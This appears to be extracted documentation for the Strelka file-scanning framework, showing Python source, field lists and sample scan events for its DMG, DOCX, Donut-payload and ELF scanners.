Source code instrelka/src/python/strelka/scanners/scan_dmg.py def parse_7zip_stdout(self, output_7zip, file_limit):\n \"\"\"Parse 7zz output, create metadata\"\"\"\n\n mode = None\n\n try:\n output_lines = output_7zip.splitlines()\n\n # 7-Zip (z) 23.01 (x64) : Copyright (c) 1999-2021 Igor Pavlov : 2021-12-26\n regex_7zip_version = re.compile(r\"^7-Zip[^\\d]+(\\d+\\.\\d+)\")\n\n # --/----\n regex_mode_properties = re.compile(r\"^(--|----)$\")\n\n # Comment =\n regex_property = re.compile(r\"^(.+) = (.+)$\")\n\n # Date Time Attr Size Compressed Name\n regex_mode_files = re.compile(\n r\"\\s+Date\\s+Time\\s+Attr\\s+Size\\s+Compressed\\s+Name\"\n )\n\n # 2022-12-05 17:23:59 ....A 100656 102400 lorem.txt\n regex_file = re.compile(\n r\"(?P<datetime>\\d+-\\d+-\\d+\\s\\d+:\\d+:\\d+)\\s+(?P<modes>[A-Z.]{5})(?:\\s+(?P<size>\\d+))?(?:\\s+(?P<compressed>\\d+))?\\s+(?P<name>.+)\"\n )\n\n def parse_file_modes(file_modes):\n file_mode_list = []\n\n for file_mode in file_modes:\n if file_mode == \"D\":\n file_mode_list.append(\"directory\")\n elif file_mode == \"R\":\n file_mode_list.append(\"readonly\")\n elif file_mode == \"H\":\n file_mode_list.append(\"hidden\")\n elif file_mode == \"S\":\n file_mode_list.append(\"system\")\n elif file_mode == \"A\":\n file_mode_list.append(\"archivable\")\n\n return file_mode_list\n\n partition = {}\n\n for output_line in output_lines:\n if output_line:\n # Properties section\n match = regex_mode_properties.match(output_line)\n if match:\n if \"path\" in partition.keys():\n if not self.event.get(\"meta\", {}).get(\"partitions\", []):\n self.event[\"meta\"][\"partitions\"] = []\n self.event[\"meta\"][\"partitions\"].append(partition)\n partition = {}\n mode = \"properties\"\n\n # File section\n match = regex_mode_files.match(output_line)\n if match:\n # Wrap up final partition\n if \"path\" in partition.keys():\n if not self.event.get(\"meta\", {}).get(\"partitions\", []):\n self.event[\"meta\"][\"partitions\"] = []\n self.event[\"meta\"][\"partitions\"].append(partition)\n partition = {}\n mode = \"files\"\n\n # Header section\n if not mode:\n match = regex_7zip_version.match(output_line)\n if match:\n version = regex_7zip_version.match(output_line).group(1)\n self.event[\"meta\"][\"7zip_version\"] = version\n\n continue\n\n elif mode == \"properties\":\n # Collect specific properties\n match = regex_property.match(output_line)\n if match:\n if match.group(1) == \"Label\":\n partition[\"label\"] = match.group(2)\n elif match.group(1) == \"Path\":\n partition[\"path\"] = match.group(2)\n elif match.group(1) == \"Type\":\n partition[\"type\"] = match.group(2)\n elif match.group(1) == \"Created\":\n partition[\"created\"] = match.group(2)\n elif match.group(1) == \"Creator Application\":\n partition[\"creator_application\"] = match.group(2)\n elif match.group(1) == \"File System\":\n partition[\"file_system\"] = match.group(2)\n\n elif mode == \"files\":\n match = regex_file.match(output_line)\n if match:\n modes_list = parse_file_modes(match.group(\"modes\"))\n\n # Skip excluded paths\n if (\n os.path.normpath(match.group(\"name\")).split(\n os.path.sep\n )[0]\n in self.EXCLUDED_ROOT_DIRS\n ):\n continue\n\n # No DMG sample available has a file property of hidden\n # if \"hidden\" in modes_list and \"directory\" in modes_list:\n # self.event[\"hidden_dirs\"].append(match.group(\"name\"))\n\n if \"directory\" not in modes_list:\n self.event[\"total\"][\"files\"] += 1\n self.event[\"files\"].append(\n {\n \"filename\": match.group(\"name\"),\n \"size\": match.group(\"size\"),\n \"datetime\": match.group(\"datetime\"),\n }\n )\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\"dmg_7zip_parse_error\")\n return\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanDmg.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludedmg_disk_image hfsplus_disk_image"},{"location":"Scanners/ScanDmg.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typeelapsed str files list files.datetime str files.filename str files.size str flags list meta dict meta.7zip_version str meta.partitions list meta.partitions.created str meta.partitions.file_system str meta.partitions.path str meta.partitions.type str total dict total.extracted int total.files int"},{"location":"Scanners/ScanDmg.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"total\": {\"files\": 5, \"extracted\": 5},\n \"files\": [\n {\n \"filename\": \"Install/Install Flash Player/.background.png\",\n \"size\": \"70758\",\n \"datetime\": 0.001,\n },\n {\n \"filename\": \"Install/Install Flash Player/.DS_Store\",\n \"size\": \"16388\",\n \"datetime\": 0.001,\n },\n {\n \"filename\": \"Install/Install Flash Player/.VolumeIcon.icns\",\n \"size\": \"312349\",\n \"datetime\": 0.001,\n },\n {\n \"filename\": \"Install/Install Flash Player/Install Flash Player\",\n \"size\": \"33016\",\n \"datetime\": 0.001,\n },\n {\n \"filename\": \"Install/Install Flash Player/Install Flash Player_rsrc\",\n \"size\": \"51737\",\n \"datetime\": 0.001,\n },\n ],\n \"meta\": {\n \"7zip_version\": \"23.01\",\n \"partitions\": [\n {\n \"path\": 0.001,\n \"type\": \"HFS\",\n \"created\": 0.001,\n }\nCollects metadata and extracts text from docx files.
Optionsextract_text: Boolean that determines if document text should be extracted as a child file. Defaults to False.
Source code instrelka/src/python/strelka/scanners/scan_docx.py class ScanDocx(strelka.Scanner):\n \"\"\"Collects metadata and extracts text from docx files.\n\n Options:\n extract_text: Boolean that determines if document text should be\n extracted as a child file.\n Defaults to False.\n \"\"\"\n\n def scan(self, data, file, options, expire_at):\n extract_text = options.get(\"extract_text\", False)\n with io.BytesIO(data) as docx_io:\n try:\n docx_doc = docx.Document(docx_io)\n self.event[\"author\"] = docx_doc.core_properties.author\n self.event[\"category\"] = docx_doc.core_properties.category\n self.event[\"comments\"] = docx_doc.core_properties.comments\n self.event[\"content_status\"] = docx_doc.core_properties.content_status\n if docx_doc.core_properties.created is not None:\n self.event[\"created\"] = docx_doc.core_properties.created.isoformat()\n self.event[\"identifier\"] = docx_doc.core_properties.identifier\n self.event[\"keywords\"] = docx_doc.core_properties.keywords\n self.event[\"language\"] = docx_doc.core_properties.language\n self.event[\"last_modified_by\"] = (\n docx_doc.core_properties.last_modified_by\n )\n if docx_doc.core_properties.last_printed is not None:\n self.event[\"last_printed\"] = (\n docx_doc.core_properties.last_printed.isoformat()\n )\n if docx_doc.core_properties.modified is not None:\n self.event[\"modified\"] = (\n docx_doc.core_properties.modified.isoformat()\n )\n self.event[\"revision\"] = docx_doc.core_properties.revision\n self.event[\"subject\"] = docx_doc.core_properties.subject\n self.event[\"title\"] = docx_doc.core_properties.title\n self.event[\"version\"] = docx_doc.core_properties.version\n self.event[\"font_colors\"] = [\"\"]\n self.event[\"word_count\"] = 0\n self.event[\"image_count\"] = 0\n\n for paragraph in docx_doc.paragraphs:\n soup = BeautifulSoup(paragraph.paragraph_format.element.xml, \"xml\")\n color_list = soup.select(\"color\")\n\n for color_xml in color_list:\n color = color_xml.attrs[\"w:val\"]\n if color not in self.event[\"font_colors\"]:\n self.event[\"font_colors\"].append(color)\n\n image_list = soup.select(\"pic\")\n\n for images in image_list:\n if images.attrs[\"xmlns:pic\"]:\n self.event[\"image_count\"] += 1\n\n para_words = paragraph.text.split(\" \")\n\n if \"\" not in para_words:\n self.event[\"word_count\"] += len(para_words)\n\n if \"FFFFFF\" in self.event[\"font_colors\"]:\n self.event[\"white_text_in_doc\"] = True\n\n if extract_text:\n text = \"\"\n for paragraph in docx_doc.paragraphs:\n text += f\"{paragraph.text}\\n\"\n\n # Send extracted file back to Strelka\n self.emit_file(text.encode(\"utf-8\"), name=\"text\")\n\n except ValueError:\n self.flags.append(\"value_error\")\n except zipfile.BadZipFile:\n self.flags.append(\"bad_zip\")\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\"bad_doc\")\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanDocx.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludeapplication/vnd.openxmlformats-officedocument.wordprocessingml.document"},{"location":"Scanners/ScanDocx.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typeauthor str category str comments str content_status str created str elapsed str flags list font_colors list identifier str image_count int keywords str language str last_modified_by str modified str revision int subject str title str version str word_count int"},{"location":"Scanners/ScanDocx.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"author\": \"Ryan.OHoro\",\n \"category\": \"\",\n \"comments\": \"\",\n \"content_status\": \"\",\n \"created\": \"2022-12-16T16:28:00\",\n \"identifier\": \"\",\n \"keywords\": \"\",\n \"language\": \"\",\n \"last_modified_by\": \"Ryan.OHoro\",\n \"modified\": \"2022-12-16T16:44:00\",\n \"revision\": 2,\n \"subject\": \"\",\n \"title\": \"\",\n \"version\": \"\",\n \"font_colors\": [\"\", \"000000\"],\n \"word_count\": 413,\n \"image_count\": 1,\n }\nExtracts configs and modules from donut payloads
Source code instrelka/src/python/strelka/scanners/scan_donut.py class ScanDonut(strelka.Scanner):\n \"\"\"Extracts configs and modules from donut payloads\"\"\"\n\n def scan(self, data, file, options, expire_at):\n tmp_directory = options.get(\"tmp_directory\", \"/tmp/\")\n\n with tempfile.NamedTemporaryFile(dir=tmp_directory, mode=\"wb\") as tmp_data:\n tmp_data.write(data)\n tmp_data.flush()\n tmp_data.seek(0)\n\n try:\n donuts = DonutDecryptor.find_donuts(tmp_data.name)\n except Exception:\n # Set output flag on error\n self.flags.append(\"donut_decrypt_find_exception\")\n\n self.event[\"total\"] = {\"donuts\": len(donuts), \"files\": 0}\n\n self.event[\"donuts\"] = []\n\n for donut in donuts:\n donut_data = {}\n donut_data[\"instance_version\"] = donut.instance_version\n donut_data[\"loader_version\"] = donut.loader_version\n donut_data[\"offset_loader_start\"] = donut.offset_loader_start\n donut_data[\"offsets\"] = {}\n donut_data[\"offsets\"][\"size_instance\"] = donut.offsets.get(\n \"size_instance\"\n )\n donut_data[\"offsets\"][\"encryption_start\"] = donut.offsets.get(\n \"encryption_start\"\n )\n\n self.event[\"donuts\"].append(donut_data)\n\n try:\n with tempfile.TemporaryDirectory() as tmpdirname:\n donut.parse(tmpdirname)\n\n # Retrieve module file\n with open(\n os.path.join(\n tmpdirname, f\"mod_{os.path.basename(tmp_data.name)}\"\n ),\n \"rb\",\n ) as mod_file:\n # Send extracted file back to Strelka\n self.emit_file(mod_file.read())\n self.event[\"total\"][\"files\"] += 1\n\n # Retrieve instance metadata file\n with open(\n os.path.join(\n tmpdirname, f\"inst_{os.path.basename(tmp_data.name)}\"\n ),\n \"rb\",\n ) as inst_file:\n inst_json = json.load(inst_file)\n\n # Remove unneeded File key\n inst_json.pop(\"File\", None)\n\n def change_dict_key(\n d, old_key, new_key, default_value=None\n ):\n d[new_key] = d.pop(old_key, default_value)\n\n # Reformat the dictionary keys to be consistent\n for key in inst_json:\n change_dict_key(\n inst_json, key, key.lower().replace(\" \", \"_\")\n )\n\n # Update the current donut output\n self.event[\"donuts\"][len(self.event[\"donuts\"]) - 1].update(\n inst_json\n )\n\n except Exception:\n # Set output flag on error\n self.flags.append(\"donut_decrypt_parse_exception\")\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanDonut.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludehacktool_win_shellcode_donut"},{"location":"Scanners/ScanDonut.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typedonuts list donuts.compression_type str donuts.decoy_module str donuts.entropy_type str donuts.instance_type str donuts.instance_version str donuts.loader_version str donuts.module_type str donuts.offset_loader_start int donuts.offsets dict donuts.offsets.encryption_start int donuts.offsets.size_instance int elapsed str flags list total dict total.donuts int total.files int"},{"location":"Scanners/ScanDonut.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"total\": {\"donuts\": 1, \"files\": 1},\n \"donuts\": [\n {\n \"compression_type\": \"DONUT_COMPRESS_NONE\",\n \"decoy_module\": \"\",\n \"entropy_type\": \"DONUT_ENTROPY_DEFAULT\",\n \"instance_type\": \"DONUT_INSTANCE_EMBED\",\n \"module_type\": \"DONUT_MODULE_NET_DLL\",\n \"instance_version\": \"1.0\",\n \"loader_version\": \"1.0_64\",\n \"offset_loader_start\": 10196,\n \"offsets\": {\"size_instance\": 4744, \"encryption_start\": 572},\n }\nCollects metadata from ELF files.
Source code instrelka/src/python/strelka/scanners/scan_elf.py class ScanElf(strelka.Scanner):\n \"\"\"Collects metadata from ELF files.\"\"\"\n\n def scan(self, data, file, options, expire_at):\n elf = ELF.parse(raw=list(data))\n\n self.event[\"total\"] = {\n \"libraries\": len(elf.libraries),\n \"relocations\": len(elf.relocations),\n \"sections\": elf.header.numberof_sections,\n \"segments\": elf.header.numberof_segments,\n \"symbols\": len(elf.symbols),\n }\n\n self.event[\"nx\"] = elf.has_nx\n self.event[\"pie\"] = elf.is_pie\n\n try:\n self.event[\"header\"] = {\n \"endianness\": str(elf.header.identity_data).split(\".\")[1],\n \"entry_point\": elf.header.entrypoint,\n \"file\": {\n \"type\": str(elf.header.file_type).split(\".\")[1],\n \"version\": str(elf.header.object_file_version).split(\".\")[1],\n },\n \"flags\": {\n \"arm\": [str(f).split(\".\")[1] for f in elf.header.arm_flags_list],\n \"hexagon\": [\n str(f).split(\".\")[1] for f in elf.header.hexagon_flags_list\n ],\n \"mips\": [str(f).split(\".\")[1] for f in elf.header.mips_flags_list],\n \"ppc64\": [\n str(f).split(\".\")[1] for f in elf.header.ppc64_flags_list\n ],\n \"processor\": elf.header.processor_flag,\n },\n \"identity\": {\n \"class\": str(elf.header.identity_class).split(\".\")[1],\n \"data\": str(elf.header.identity_data).split(\".\")[1],\n \"os_abi\": str(elf.header.identity_os_abi).split(\".\")[1],\n \"version\": str(elf.header.identity_version).split(\".\")[1],\n },\n \"machine\": str(elf.header.machine_type).split(\".\")[1],\n \"size\": elf.header.header_size,\n }\n except strelka.ScannerTimeout:\n raise\n except Exception:\n pass\n\n if elf.has_interpreter:\n self.event[\"interpreter\"] = elf.interpreter\n\n self.event.setdefault(\"relocations\", [])\n self.event[\"relocations\"] = []\n for relo in elf.relocations:\n row = {\n \"address\": relo.address,\n \"info\": relo.info,\n \"purpose\": str(relo.purpose).split(\".\")[1],\n \"size\": relo.size,\n }\n\n if relo.has_section:\n row[\"section\"] = relo.section.name\n if relo.has_symbol:\n row[\"symbol\"] = relo.symbol.name\n\n if elf.header.machine_type == ELF.ARCH.x86_64:\n row[\"type\"] = str(ELF.RELOCATION_X86_64(relo.type)).split(\".\")[1]\n elif elf.header.machine_type == ELF.ARCH.i386:\n row[\"type\"] = str(ELF.RELOCATION_i386(relo.type)).split(\".\")[1]\n elif elf.header.machine_type == ELF.ARCH.ARM:\n row[\"type\"] = str(ELF.RELOCATION_ARM(relo.type)).split(\".\")[1]\n elif elf.header.machine_type == ELF.ARCH.AARCH64:\n row[\"type\"] = str(ELF.RELOCATION_AARCH64(relo.type)).split(\".\")[1]\n else:\n row[\"type\"] = str(relo.type)\n\n self.event[\"relocations\"].append(row)\n\n self.event[\"sections\"] = []\n\n try:\n for sec in elf.sections:\n self.event[\"sections\"].append(\n {\n \"alignment\": sec.alignment,\n \"entropy\": sec.entropy,\n \"flags\": [str(f).split(\".\")[1] for f in sec.flags_list],\n \"name\": sec.name,\n \"offset\": sec.offset,\n \"size\": sec.size,\n \"type\": str(sec.type).split(\".\")[1],\n \"segments\": [\n str(seg.type).split(\".\")[1] for seg in sec.segments\n ],\n }\n )\n except strelka.ScannerTimeout:\n raise\n except Exception:\n pass\n\n self.event[\"segments\"] = []\n\n try:\n for seg in elf.segments:\n self.event[\"segments\"].append(\n {\n \"alignment\": seg.alignment,\n \"file_offset\": seg.file_offset,\n \"physical\": {\n \"address\": seg.physical_address,\n \"size\": seg.physical_size,\n },\n \"sections\": [\n str(sec.name).split(\".\")[1] for sec in seg.sections\n ],\n \"type\": str(seg.type).split(\".\")[1],\n \"virtual\": {\n \"address\": seg.virtual_address,\n \"size\": seg.virtual_size,\n },\n }\n )\n except strelka.ScannerTimeout:\n raise\n except Exception:\n pass\n\n self.event[\"symbols\"] = {\n \"exported\": [sym.name for sym in elf.exported_symbols],\n \"imported\": [sym.name for sym in elf.imported_symbols],\n \"libraries\": elf.libraries,\n \"table\": [],\n }\n\n for sym in elf.symbols:\n self.event[\"symbols\"][\"table\"].append(\n {\n \"binding\": str(sym.binding).rsplit(\".\")[1],\n \"information\": sym.information,\n \"function\": sym.is_function,\n \"symbol\": sym.name,\n \"section_index\": str(ELF.SYMBOL_SECTION_INDEX(sym.shndx)).rsplit(\n \".\"\n )[1],\n \"size\": sym.size,\n \"static\": sym.is_static,\n \"version\": str(sym.symbol_version),\n \"type\": str(sym.type).rsplit(\".\")[1],\n \"variable\": sym.is_variable,\n \"visibility\": str(sym.visibility).rsplit(\".\")[1],\n }\n )\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanElf.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Exclude"},{"location":"Scanners/ScanElf.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typeelapsed str flags list header dict header.endianness str header.entry_point int header.file dict header.file.type str header.file.version str header.flags dict header.flags.arm list header.flags.hexagon list header.flags.mips list header.flags.ppc64 list header.flags.processor int header.identity dict header.identity.class str header.identity.data str header.identity.os_abi str header.identity.version str header.machine str header.size int interpreter str nx bool pie bool relocations list relocations.address int relocations.info int relocations.purpose str relocations.size int relocations.symbol str relocations.type str sections list sections.alignment int sections.entropy float sections.flags list sections.name str sections.offset int sections.segments list sections.size int sections.type str segments list segments.alignment int segments.file_offset int segments.physical dict segments.physical.address int segments.physical.size int segments.sections list segments.type str segments.virtual dict segments.virtual.address int segments.virtual.size int symbols dict symbols.exported list symbols.imported list symbols.libraries list symbols.table list symbols.table.binding str symbols.table.function bool symbols.table.information int symbols.table.section_index str symbols.table.size int symbols.table.static bool symbols.table.symbol str symbols.table.type str symbols.table.variable bool symbols.table.version str symbols.table.visibility str total dict total.libraries int total.relocations int total.sections int total.segments int total.symbols int"},{"location":"Scanners/ScanElf.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"total\": {\n \"libraries\": 1,\n \"relocations\": 9,\n \"sections\": 31,\n \"segments\": 13,\n \"symbols\": 43,\n },\n \"nx\": True,\n \"pie\": True,\n \"header\": {\n \"endianness\": \"LSB\",\n \"entry_point\": 4192,\n \"file\": {\"type\": \"DYNAMIC\", \"version\": \"CURRENT\"},\n \"flags\": {\n \"arm\": [],\n \"hexagon\": [],\n \"mips\": [],\n \"ppc64\": [],\n \"processor\": 0,\n },\n \"identity\": {\n \"class\": \"CLASS64\",\n \"data\": \"LSB\",\n \"os_abi\": \"SYSTEMV\",\n \"version\": \"CURRENT\",\n },\n \"machine\": \"x86_64\",\n \"size\": 64,\n },\n \"interpreter\": \"/lib64/ld-linux-x86-64.so.2\",\n \"relocations\": [\n {\n \"address\": 15800,\n \"info\": 0,\n \"purpose\": \"DYNAMIC\",\n \"size\": 64,\n \"symbol\": \"\",\n \"type\": \"RELATIVE\",\n },\n {\n \"address\": 15808,\n \"info\": 0,\n \"purpose\": \"DYNAMIC\",\n \"size\": 64,\n \"symbol\": \"\",\n \"type\": \"RELATIVE\",\n },\n {\n \"address\": 16392,\n \"info\": 0,\n \"purpose\": \"DYNAMIC\",\n \"size\": 64,\n \"symbol\": \"\",\n \"type\": \"RELATIVE\",\n },\n {\n \"address\": 16344,\n \"info\": 1,\n \"purpose\": \"DYNAMIC\",\n \"size\": 64,\n \"symbol\": \"__libc_start_main\",\n \"type\": \"GLOB_DAT\",\n },\n {\n \"address\": 16352,\n \"info\": 2,\n \"purpose\": \"DYNAMIC\",\n \"size\": 64,\n \"symbol\": \"_ITM_deregisterTMCloneTable\",\n \"type\": \"GLOB_DAT\",\n },\n {\n \"address\": 16360,\n \"info\": 4,\n \"purpose\": \"DYNAMIC\",\n \"size\": 64,\n \"symbol\": \"__gmon_start__\",\n \"type\": \"GLOB_DAT\",\n },\n {\n \"address\": 16368,\n \"info\": 5,\n \"purpose\": \"DYNAMIC\",\n \"size\": 64,\n \"symbol\": \"_ITM_registerTMCloneTable\",\n \"type\": \"GLOB_DAT\",\n },\n {\n \"address\": 16376,\n \"info\": 6,\n \"purpose\": \"DYNAMIC\",\n \"size\": 64,\n \"symbol\": \"__cxa_finalize\",\n \"type\": \"GLOB_DAT\",\n },\n {\n \"address\": 16336,\n \"info\": 3,\n \"purpose\": \"PLTGOT\",\n \"size\": 64,\n \"symbol\": \"puts\",\n \"type\": \"JUMP_SLOT\",\n },\n ],\n \"sections\": [\n {\n \"alignment\": 0,\n \"entropy\": 0.0,\n \"flags\": [],\n \"name\": \"\",\n \"offset\": 0,\n \"size\": 0,\n \"type\": \"NULL\",\n \"segments\": [],\n },\n {\n \"alignment\": 1,\n \"entropy\": 3.940759832540089,\n \"flags\": [\"ALLOC\"],\n \"name\": \".interp\",\n \"offset\": 792,\n \"size\": 28,\n \"type\": \"PROGBITS\",\n \"segments\": [\"INTERP\", \"LOAD\"],\n },\n {\n \"alignment\": 8,\n \"entropy\": 1.9345480540338138,\n \"flags\": [\"ALLOC\"],\n \"name\": \".note.gnu.property\",\n \"offset\": 824,\n \"size\": 48,\n \"type\": \"NOTE\",\n \"segments\": [\"LOAD\", \"NOTE\", \"GNU_PROPERTY\"],\n },\n {\n \"alignment\": 4,\n \"entropy\": 4.080500530640266,\n \"flags\": [\"ALLOC\"],\n \"name\": \".note.gnu.build-id\",\n \"offset\": 872,\n \"size\": 36,\n \"type\": \"NOTE\",\n \"segments\": [\"LOAD\", \"NOTE\"],\n },\n {\n \"alignment\": 4,\n \"entropy\": 1.561278124459133,\n \"flags\": [\"ALLOC\"],\n \"name\": \".note.ABI-tag\",\n \"offset\": 908,\n \"size\": 32,\n \"type\": \"NOTE\",\n \"segments\": [\"LOAD\", \"NOTE\"],\n },\n {\n \"alignment\": 8,\n \"entropy\": 1.6430827743914267,\n \"flags\": [\"ALLOC\"],\n \"name\": \".gnu.hash\",\n \"offset\": 944,\n \"size\": 36,\n \"type\": \"GNU_HASH\",\n \"segments\": [\"LOAD\"],\n },\n {\n \"alignment\": 8,\n \"entropy\": 0.5870934129890327,\n \"flags\": [\"ALLOC\"],\n \"name\": \".dynsym\",\n \"offset\": 984,\n \"size\": 168,\n \"type\": \"DYNSYM\",\n \"segments\": [\"LOAD\"],\n },\n {\n \"alignment\": 1,\n \"entropy\": 4.642271790628106,\n \"flags\": [\"ALLOC\"],\n \"name\": \".dynstr\",\n \"offset\": 1152,\n \"size\": 141,\n \"type\": \"STRTAB\",\n \"segments\": [\"LOAD\"],\n },\n {\n \"alignment\": 2,\n \"entropy\": 1.610577243331642,\n \"flags\": [\"ALLOC\"],\n \"name\": \".gnu.version\",\n \"offset\": 1294,\n \"size\": 14,\n \"type\": \"HIOS\",\n \"segments\": [\"LOAD\"],\n },\n {\n \"alignment\": 8,\n \"entropy\": 2.3020440502629658,\n \"flags\": [\"ALLOC\"],\n \"name\": \".gnu.version_r\",\n \"offset\": 1312,\n \"size\": 48,\n \"type\": \"GNU_VERNEED\",\n \"segments\": [\"LOAD\"],\n },\n {\n \"alignment\": 8,\n \"entropy\": 1.3272473878703939,\n \"flags\": [\"ALLOC\"],\n \"name\": \".rela.dyn\",\n \"offset\": 1360,\n \"size\": 192,\n \"type\": \"RELA\",\n \"segments\": [\"LOAD\"],\n },\n {\n \"alignment\": 8,\n \"entropy\": 0.9833557549816874,\n \"flags\": [\"INFO_LINK\", \"ALLOC\"],\n \"name\": \".rela.plt\",\n \"offset\": 1552,\n \"size\": 24,\n \"type\": \"RELA\",\n \"segments\": [\"LOAD\"],\n },\n {\n \"alignment\": 4,\n \"entropy\": 4.236368983644952,\n \"flags\": [\"ALLOC\", \"EXECINSTR\"],\n \"name\": \".init\",\n \"offset\": 4096,\n \"size\": 27,\n \"type\": \"PROGBITS\",\n \"segments\": [\"LOAD\"],\n },\n {\n \"alignment\": 16,\n \"entropy\": 3.558157328518199,\n \"flags\": [\"ALLOC\", \"EXECINSTR\"],\n \"name\": \".plt\",\n \"offset\": 4128,\n \"size\": 32,\n \"type\": \"PROGBITS\",\n \"segments\": [\"LOAD\"],\n },\n {\n \"alignment\": 16,\n \"entropy\": 3.375,\n \"flags\": [\"ALLOC\", \"EXECINSTR\"],\n \"name\": \".plt.got\",\n \"offset\": 4160,\n \"size\": 16,\n \"type\": \"PROGBITS\",\n \"segments\": [\"LOAD\"],\n },\n {\n \"alignment\": 16,\n \"entropy\": 3.375,\n \"flags\": [\"ALLOC\", \"EXECINSTR\"],\n \"name\": \".plt.sec\",\n \"offset\": 4176,\n \"size\": 16,\n \"type\": \"PROGBITS\",\n \"segments\": [\"LOAD\"],\n },\n {\n \"alignment\": 16,\n \"entropy\": 5.114732343297649,\n \"flags\": [\"ALLOC\", \"EXECINSTR\"],\n \"name\": \".text\",\n \"offset\": 4192,\n \"size\": 263,\n \"type\": \"PROGBITS\",\n \"segments\": [\"LOAD\"],\n },\n {\n \"alignment\": 4,\n \"entropy\": 3.2389012566026305,\n \"flags\": [\"ALLOC\", \"EXECINSTR\"],\n \"name\": \".fini\",\n \"offset\": 4456,\n \"size\": 13,\n \"type\": \"PROGBITS\",\n \"segments\": [\"LOAD\"],\n },\n {\n \"alignment\": 4,\n \"entropy\": 3.41041725276052,\n \"flags\": [\"ALLOC\"],\n \"name\": \".rodata\",\n \"offset\": 8192,\n \"size\": 17,\n \"type\": \"PROGBITS\",\n \"segments\": [\"LOAD\"],\n },\n {\n \"alignment\": 4,\n \"entropy\": 3.095479202232869,\n \"flags\": [\"ALLOC\"],\n \"name\": \".eh_frame_hdr\",\n \"offset\": 8212,\n \"size\": 52,\n \"type\": \"PROGBITS\",\n \"segments\": [\"LOAD\", \"GNU_EH_FRAME\"],\n },\n {\n \"alignment\": 8,\n \"entropy\": 3.477075817903484,\n \"flags\": [\"ALLOC\"],\n \"name\": \".eh_frame\",\n \"offset\": 8264,\n \"size\": 172,\n \"type\": \"PROGBITS\",\n \"segments\": [\"LOAD\"],\n },\n {\n \"alignment\": 8,\n \"entropy\": 1.061278124459133,\n \"flags\": [\"WRITE\", \"ALLOC\"],\n \"name\": \".init_array\",\n \"offset\": 11704,\n \"size\": 8,\n \"type\": \"INIT_ARRAY\",\n \"segments\": [\"LOAD\", \"GNU_RELRO\"],\n },\n {\n \"alignment\": 8,\n 